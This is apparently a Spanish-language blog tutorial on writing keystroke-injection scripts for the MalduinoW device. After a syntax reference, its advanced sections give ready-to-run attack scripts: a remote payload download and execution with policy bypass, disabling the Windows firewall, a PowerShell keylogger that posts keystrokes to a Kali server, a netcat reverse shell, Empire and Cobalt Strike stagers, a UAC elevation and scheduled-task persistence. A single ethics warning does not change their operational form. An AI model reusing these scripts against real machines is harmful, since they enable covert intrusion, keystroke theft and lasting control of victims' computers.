Guía Completa para Programar Scripts en MalduinoW


🎓 Introducción a MalduinoW

MalduinoW funciona de forma similar a Rubber Ducky de Hak5, pero utiliza una placa basada en Arduino, la cual se puede controlar a distancia por wifi para inyectar diferentes payloads. Al conectarlo a un ordenador, es reconocido como un teclado, lo que le permite ejecutar comandos automáticamente como si fueran escritos por una persona.

¿Para qué sirve?

  • Automatizar tareas repetitivas.
  • Ejecutar comandos en segundos.
  • Hacer demostraciones de vulnerabilidades.
  • Probar configuraciones de sistemas.

⚠️ Advertencia: Usa esta herramienta de forma ética y siempre con autorización. MalduinoW está diseñado para pruebas de seguridad en entornos controlados.


📄 Conceptos Básicos

1. Separación de teclas

Cada tecla se separa por un espacio, lo que indica que deben ser presionadas al mismo tiempo.
Ejemplo: GUI r → Presiona simultáneamente la tecla Windows (⊞) y la letra r.

2. Acciones en una sola línea

Todo lo que esté en una misma línea se presiona y se suelta a la vez.
Ejemplo:

  • WINDOWS → Presiona y suelta la tecla Windows.
  • CTRL ALT DELETE → Ejecuta las tres teclas juntas.

3. Escribir texto

Utiliza STRING para escribir texto literal en pantalla.
Ejemplo: STRING Hola Mundo! escribe ese mensaje como si lo teclearas.


⚖️ Funciones Disponibles

ComandoEjemploDescripción
REMREM ComentarioLínea de comentario (no se ejecuta).
DEFAULTDELAYDEFAULTDELAY 200Retardo predeterminado entre comandos (en milisegundos).
DELAYDELAY 1000Pausa la ejecución (en milisegundos).
STRINGSTRING Hola!Escribe el texto literal indicado.
REPEATREPEAT 3Repite el último comando n veces.
LOCALELOCALE ESDefine el idioma del teclado virtual.
LEDLED 255 0 0Cambia el color del LED (formato RGB).

⌨️ Teclas Estándar y Modificadoras

Letras y números

  • Letras: az, AZ
  • Números: 09

Teclas de función

  • F1 a F12

Modificadoras

TeclaEjemplos de Combos
CTRLCTRL a, CTRL SHIFT DELETE
SHIFTSHIFT w
ALTALT p
ALT_RIGHTALT_RIGHT x
GUIGUI l

Otras teclas comunes

Tecla
ENTER
DELETE
HOME
INSERT
PAGEUP
PAGEDOWN
UP
DOWN
LEFT
RIGHT
TAB
END
ESC
SPACE
BACKSPACE
CAPSLOCK
NUM_0 ... NUM_0
NUM_ASTERIX
NUM_ENTER
NUM_Minus
NUM_PERIOD
NUM_PLUS
PRINTSCREEN

Para más información, puede ver el repositorio oficial de duckyscript 1.0


📝 Ejemplos de Uso Básico

REM Abre el menú Ejecutar y lanza CMD
GUI r
DELAY 500
STRING cmd
ENTER

REM Escribe "Hola" y lo repite tres veces
STRING Hola
REPEAT 3

REM Cambia el LED a color verde
LED 0 255 0

🚀 Ejemplos Avanzados

Ejecutar PowerShell como Administrador

REM Abre PowerShell como admin
GUI r
DELAY 300
STRING powershell
CTRL SHIFT ENTER
DELAY 800
ALT y

Descargar y ejecutar script desde internet

GUI r
DELAY 300
STRING powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://192.168.0.10/payload.ps1 -OutFile payload.ps1"
ENTER
DELAY 1000
STRING powershell -ExecutionPolicy Bypass -File payload.ps1
ENTER

Deshabilitar el firewall de Windows (solo pruebas controladas)

GUI r
DELAY 300
STRING cmd
CTRL SHIFT ENTER
DELAY 800
ALT y
STRING netsh advfirewall set allprofiles state off
ENTER

Crear un script de keylogger en PowerShell y enviar datos a servidor en Kali

Este script captura pulsaciones de teclado en tiempo real mediante PowerShell y las envía a un servidor remoto en la red local, como uno ejecutado en una máquina Kali Linux. La transmisión se realiza usando Invoke-WebRequest, que envía las pulsaciones mediante solicitudes POST.

GUI r
DELAY 300
STRING powershell
ENTER
DELAY 500
STRING "$log='';while($true){$key=$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character;$log+=$key;Invoke-WebRequest -Uri http://192.168.1.100:8000 -Method POST -Body @{data=$log}}"
ENTER

📌 Asegúrate de reemplazar 192.168.1.100 con la IP real de tu máquina Kali en la red local.

Preparar el Servidor en Kali para recibir los datos

mkdir /tmp/keystrokes
cd /tmp/keystrokes
python3 -m http.server 8000

Este comando abre un servidor web simple en el puerto 8000. Como alternativa, puedes usar herramientas como:

  • Netcat para recibir conexiones:
nc -lvp 8000

🧰 Integraciones con Otras Herramientas

Malduino + Netcat

Permite crear un canal reverso entre el objetivo y el atacante:

REM Lanzar PowerShell y conectarse a un listener
GUI r
DELAY 300
STRING powershell
ENTER
DELAY 300
STRING nc -e cmd.exe 192.168.0.1 4444
ENTER

Malduino + Metasploit

Puedes usar MalduinoW para lanzar un payload generado por msfvenom:

STRING powershell -EncodedCommand <payload_base64>
ENTER

Malduino + Empire / Cobalt Strike

Tanto Empire como Cobalt Strike permiten gestionar agentes en sistemas comprometidos. Puedes usar MalduinoW para inicializar un payload o stager que conecte al servidor de Empire o Cobalt Strike.

Ejemplo (Empire Stager):

STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/empire')"
ENTER

Ejemplo (Cobalt Strike Beacon):

STRING powershell -nop -w hidden -c "$b=New-Object Net.WebClient;$b.DownloadString('http://192.168.1.100/beacon.ps1') | IEX"
ENTER

Asegúrate de que los payloads estén disponibles desde un servidor web controlado y que los puertos estén correctamente redirigidos en el firewall de Kali si es necesario.


🕵️‍ Trucos y Bypasses

Bypass del UAC (User Account Control)

Algunas versiones de Windows permiten escalar privilegios con comandos como:

STRING powershell Start-Process cmd -Verb runAs
ENTER

Este método depende del sistema operativo y la configuración del UAC.

Ocultar ventana de ejecución

STRING powershell -WindowStyle Hidden -Command "Start-Sleep -s 2"
ENTER

Payload persistente

Crea una tarea programada que se ejecute cada vez que inicie el sistema:

STRING schtasks /create /sc onlogon /tn "Persistencia" /tr "powershell.exe -File C:\\payload.ps1"
ENTER

🔎 Conclusión

MalduinoW es una herramienta extremadamente potente que, bien utilizada, puede ayudarte a automatizar tareas complejas y probar la robustez de sistemas ante ataques por teclado. Aprender su lenguaje de scripting te abre la puerta a un sinfín de posibilidades en ciberseguridad y automatización.

Desde scripts básicos hasta ejemplos como la captura de entrada de teclas (keylogging con PowerShell y transmisión a un servidor Kali), esta guía busca mostrar tanto las capacidades como la responsabilidad que implica su uso.

Comparte esta Publicación en Redes Sociales